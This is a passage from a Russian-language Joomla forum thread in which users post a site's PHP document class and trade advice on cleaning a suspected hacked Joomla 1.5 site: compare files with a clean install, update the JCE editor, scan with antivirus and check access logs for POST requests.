}
}
return $result;
}

/**
* Sets or alters a meta tag.
*
* @param string  $name Value of name or http-equiv tag
* @param string  $content Value of the content tag
* @param bool $http_equiv META type "http-equiv" defaults to null
* @return void
* @access public
*/
function setMetaData($name, $content, $http_equiv = false)
{
$name = strtolower($name);
if($name == 'generator') {
$this->setGenerator($content);
} elseif($name == 'description') {
$this->setDescription($content);
} else {
if ($http_equiv == true) {
$this->_metaTags['http-equiv'][$name] = $content;
} else {
$this->_metaTags['standard'][$name] = $content;
}
}
}

/**
* Adds a linked script to the page
*
* @param string  $url URL to the linked script
* @param string  $type Type of script. Defaults to 'text/javascript'
* @access   public
*/
function addScript($url, $type="text/javascript") {
$this->_scripts[$url] = $type;
}

/**
* Adds a script to the page
*
* @access   public
* @param string  $content   Script
* @param string  $type Scripting mime (defaults to 'text/javascript')
* @return   void
*/
function addScriptDeclaration($content, $type = 'text/javascript')
{
if (!isset($this->_script[strtolower($type)])) {
$this->_script[strtolower($type)] = $content;
} else {
$this->_script[strtolower($type)] .= chr(13).$content;
}
}

/**
* Adds a linked stylesheet to the page
*
* @param string  $url URL to the linked style sheet
* @param string  $type   Mime encoding type
* @param string  $media  Media type that this stylesheet applies to
* @access   public
*/
function addStyleSheet($url, $type = 'text/css', $media = null, $attribs = array())
{
$this->_styleSheets[$url]['mime'] = $type;
$this->_styleSheets[$url]['media'] = $media;
$this->_styleSheets[$url]['attribs'] = $attribs;
}

/**
* Adds a stylesheet declaration to the page
*
* @param string  $content   Style declarations
* @param string  $type Type of stylesheet (defaults to 'text/css')
* @access   public
* @return   void
*/
function addStyleDeclaration($content, $type = 'text/css')
{
if (!isset($this->_style[strtolower($type)])) {
$this->_style[strtolower($type)] = $content;
} else {
$this->_style[strtolower($type)] .= chr(13).$content;
}
}

/**
* Sets the document charset
*
* @param   string   $type  Charset encoding string
* @access  public
* @return  void
*/
function setCharset($type = 'utf-8') {
$this->_charset = $type;
}

/**
* Returns the document charset encoding.
*
* @access public
* @return string
*/
function getCharset() {
return $this->_charset;
}

/**
* Sets the global document language declaration. Default is English (en-gb).
*
* @access public
* @param   string   $lang
*/
function setLanguage($lang = "en-gb") {
$this->language = strtolower($lang);
}

/**
* Returns the document language.
*
* @return string
* @access public
*/
function getLanguage() {
return $this->language;
}

/**
* Sets the global document direction declaration. Default is left-to-right (ltr).
*
* @access public
* @param   string   $lang
*/
function setDirection($dir = "ltr") {
$this->direction = strtolower($dir);
}

/**
* Returns the document language.
*
* @return string
* @access public
*/
function getDirection() {
return $this->direction;
}

/**
* Sets the title of the document
*
* @param string $title
* @access   public
*/
function setTitle($title) {
$this->title = $title;
}

/**
* Return the title of the document.
*
* @return   string
* @access   public
*/
function getTitle() {
return $this->title;
}

/**
* Sets the base URI of the document
*
* @param string $base
* @access   public
*/
function setBase($base) {
$this->base = $base;
}

/**
* Return the base URI of the document.
*
* @return   string
* @access   public
*/
function getBase() {
return $this->base;
}

/**
* Sets the description of the document
*
* @param string $title
* @access   public
*/
function setDescription($description) {
$this->description = $description;
}

/**
* Return the title of the page.
*
* @return   string
* @access   public
*/
function getDescription() {
return $this->description;
}

/**
* Sets the document link
*
* @param   string   $url  A url
* @access  public
* @return  void
*/
function setLink($url) {
$this->link = $url;
}

/**
* Returns the document base url
*
* @access public
* @return string
*/
function getLink() {
return $this->link;
}

/**
* Sets the document generator
*
* @param   string
* @access  public
* @return  void
*/
function setGenerator($generator) {
$this->_generator = $generator;
}

/**
* Returns the document generator
*
* @access public
* @return string
*/
function getGenerator() {
return $this->_generator;
}

/**
* Sets the document modified date
*
* @param   string
* @access  public
* @return  void
*/
function setModifiedDate($date) {
$this->_mdate = $date;
}

/**
* Returns the document modified date
*
* @access public
* @return string
*/
function getModifiedDate() {
return $this->_mdate;
}

/**
* Sets the document MIME encoding that is sent to the browser.
*
* <p>This usually will be text/html because most browsers cannot yet
* accept the proper mime settings for XHTML: application/xhtml+xml
* and to a lesser extent application/xml and text/xml. See the W3C note
* ({@link http://www.w3.org/TR/xhtml-media-types/
* http://www.w3.org/TR/xhtml-media-types/}) for more details.</p>
*
* @param string $type
* @access   public
* @return   void
*/
function setMimeEncoding($type = 'text/html') {
$this->_mime = strtolower($type);
}

/**
* Sets the line end style to Windows, Mac, Unix or a custom string.
*
* @param   string  $style  "win", "mac", "unix" or custom string.
* @access  public
* @return  void
*/
function setLineEnd($style)
{
switch ($style) {
case 'win':
$this->_lineEnd = "\15\12";
break;
case 'unix':
$this->_lineEnd = "\12";
break;
case 'mac':
$this->_lineEnd = "\15";
break;
default:
$this->_lineEnd = $style;
}
}

/**
* Returns the lineEnd
*
* @access private
* @return string
*/
function _getLineEnd() {
return $this->_lineEnd;
}

/**
* Sets the string used to indent HTML
*
* @param string $string String used to indent ("\11", "\t", '  ', etc.).
* @access public
* @return void
*/
function setTab($string) {
$this->_tab = $string;
}

/**
* Returns a string containing the unit for indenting HTML
*
* @access private
* @return string
*/
function _getTab() {
return $this->_tab;
}

/**
* Load a renderer
*
* @access public
* @param string The renderer type
* @return object
* @since 1.5
*/
function &loadRenderer( $type )
{
$null = null;
$class = 'JDocumentRenderer'.$type;

if( !class_exists( $class ) )
{
$path = dirname(__FILE__).DS.$this->_type.DS.'renderer'.DS.$type.'.php';
if(file_exists($path)) {
require_once($path);
} else {
JError::raiseError(500,JText::_('Unable to load renderer class'));
}
}

if ( !class_exists( $class ) ) {
return $null;
}

$instance = new $class($this);
return $instance;
}

/**
* Outputs the document
*
* @access public
* @param boolean $cache If true, cache the output
* @param boolean $compress If true, compress the output
* @param array $params Associative array of attributes
* @return The rendered data
*/
function render( $cache = false, $params = array())
{
JResponse::setHeader( 'Expires', gmdate( 'D, d M Y H:i:s', time() + 900 ). ' GMT' );
if ($mdate = $this->getModifiedDate()) {
JResponse::setHeader( 'Last-Modified', $mdate /* gmdate( 'D, d M Y H:i:s', time() + 900 ). ' GMT' */ );
}
JResponse::setHeader( 'Content-Type', $this->_mime .  '; charset=' . $this->_charset);
}
}
« Последнее редактирование: 01.04.2014, 18:00:17 от SenyaKulia »
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Ошибки на сайте. Прошу помощи
« Ответ #5 : 01.04.2014, 18:55:59 »
Joomla 1.5.26 ? Вероятно сайт взломан.
Начинать с проверки файла index.php в корне сайта и шаблона. Отключить поочередно модули, плагины сторонние.
*

SenyaKulia

  • Новичок
  • 4
  • 0 / 0
Re: Ошибки на сайте. Прошу помощи
« Ответ #6 : 01.04.2014, 19:17:25 »
Joomla 1.5.26 ? Вероятно сайт взломан.
Начинать с проверки файла index.php в корне сайта и шаблона. Отключить поочередно модули, плагины сторонние.


1.5.22, честно говоря мне index.php ни о чём не скажет...
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Ошибки на сайте. Прошу помощи
« Ответ #7 : 01.04.2014, 20:20:51 »
А может бекап есть у хостера ? Восстановить.
Нужно обновить до Joomla 1.5.26 и патч для Joomla 1.5
А по файлам- из архива чистой Joomla сравнить с тем что на хостинге
*

Бартенев Виталий

  • Новичок
  • 3
  • 0 / 0
Re: Ошибки на сайте. Прошу помощи
« Ответ #8 : 16.04.2014, 12:46:40 »
Ребят! У меня беда.Помогите. На мой сайт нельзя зайти с айфона и телефона, а так же планшета. Что делать? У кого-нибудь было такое?
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Ошибки на сайте. Прошу помощи
« Ответ #9 : 16.04.2014, 12:53:53 »
На мой сайт нельзя зайти с айфона и телефона, а так же планшета. Что делать? У кого-нибудь было такое?
Искать вирус в файлах сайта .А реклама есть на сайте с других ресурсов ?
*

Бартенев Виталий

  • Новичок
  • 3
  • 0 / 0
Re: Ошибки на сайте. Прошу помощи
« Ответ #10 : 16.04.2014, 12:58:50 »
Нету.
Искать вирус в файлах сайта .А реклама есть на сайте с других ресурсов ?

 Никаких вирусов нет. Это с самого начала такая ерунда была.Какая-то заглушка стоит.Понять не могу какая.
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Ошибки на сайте. Прошу помощи
« Ответ #11 : 16.04.2014, 13:20:02 »
Переключи на стандартный шаблон и посмотри.Если не изменится, то прописано в .htaccess
*

Бартенев Виталий

  • Новичок
  • 3
  • 0 / 0
Re: Ошибки на сайте. Прошу помощи
« Ответ #12 : 16.04.2014, 14:43:03 »
Переключи на стандартный шаблон и посмотри.Если не изменится, то прописано в .htaccess

Мне нужен реальный совет, который поможет.А не пробная версия.
*

passer

  • Завсегдатай
  • 1013
  • 75 / 3
Re: Ошибки на сайте. Прошу помощи
« Ответ #13 : 16.04.2014, 15:20:16 »
Тогда в коммерческий раздел. Там будет все и сразу.
*

kirin

  • Новичок
  • 2
  • 0 / 0
Re: Ошибки на сайте. Прошу помощи
« Ответ #14 : 15.06.2014, 10:54:09 »
Нужно искать дыру  ;D
На сайте видимо стоит старый редактор JCE -дыра возможна в нем (сам решаю этот вопрос).
Проблема в добавленных файлах, в которые дописан код, один из вариантов:
Спойлер
[свернуть]
Мой вариант решения:
  • Установить Nod32
  • Удалить/обновить роедактор JCE
  • Скачать сайт, при копировании nod32 будет ругать и удалит "вредные файлы"
  • Смотреть в NOD32 список файлов :o: СЕРВИС---> КАРАНТИН
  • Ручками чистить, на хостинге (обычно в самом начале файла и сдвинуто вправо, как и тебя)
  • Запустит лог доступа на сайте, смотреть POST метод, хакер будет на эти файлы лезть. удаленные 404 показывает, работающие 200
Пример log
Спойлер
[свернуть]
Значит хакер через javascript.php восстанавливает. Чистим/удаляем, мониторим.
Но нужно искать дыру.

 yes!Через некоторое время:
Спойлер
[свернуть]
Ждем-с что дальше
« Последнее редактирование: 15.06.2014, 11:53:24 от kirin »
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

На сайте правая колонна ушла в низ

Автор vityavoluevich

Ответов: 3
Просмотров: 514
Последний ответ 27.10.2023, 08:45:48
от vityavoluevich
Каков ваш заработок на сайте?возможно ли пролететь и создать не прибыльный сайт?

Автор bedalex

Ответов: 3
Просмотров: 3345
Последний ответ 05.06.2023, 11:00:40
от Ритулька88
Кто логинился на сайте

Автор sosny

Ответов: 6
Просмотров: 1188
Последний ответ 24.11.2017, 10:04:41
от sosny
Не отображаются материалы и ссылки на сайте (joomla 1.5)

Автор МарияЛ

Ответов: 1
Просмотров: 1429
Последний ответ 18.03.2017, 19:22:31
от rebus
Undefined variable, прошу помощи, важный проект!

Автор Elimelech

Ответов: 15
Просмотров: 1290
Последний ответ 22.12.2016, 12:42:23
от Elimelech